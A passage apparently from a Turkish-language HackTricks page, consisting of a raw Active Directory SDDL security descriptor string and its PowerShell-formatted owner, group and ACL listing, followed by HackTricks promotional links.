86)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Owner : BUILTIN\Administrators
Grup : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: ErişimEngellendi (VeriYazma), Everyone: Erişimİzinli (GenişletilmişÖzniteliklerYazma), NT
AUTHORITY\ANONYMOUS LOGON: Erişimİzinli (DizinOluşturma, GenelÇalıştırma, İzinleriOkuma,
Gezinme, GenişletilmişÖzniteliklerYazma), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: Erişimİzinli
(DizinOluşturma, GenelÇalıştırma, GenelOkuma, ÖznitelikleriOkuma, İzinleriOkuma,
GenişletilmişÖzniteliklerYazma)...}
SystemAcl : {Everyone: SistemDenetimi BaşarılıErişim (İzinleriDeğiştirme, Sahiplenme, Gezinme),
BUILTIN\Administrators: SistemDenetimi BaşarılıErişim (ÖznitelikleriYazma), DOMAIN_NAME\Domain Users:
SistemDenetimi BaşarılıErişim (ÖznitelikleriYazma), Everyone: SistemDenetimi BaşarılıErişim
(Gezinme)...}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek isterseniz veya HackTricks'i PDF olarak indirmek isterseniz ABONELİK PLANLARINA göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'ı takip edin.
- Hacking hilelerinizi paylaşarak PR göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.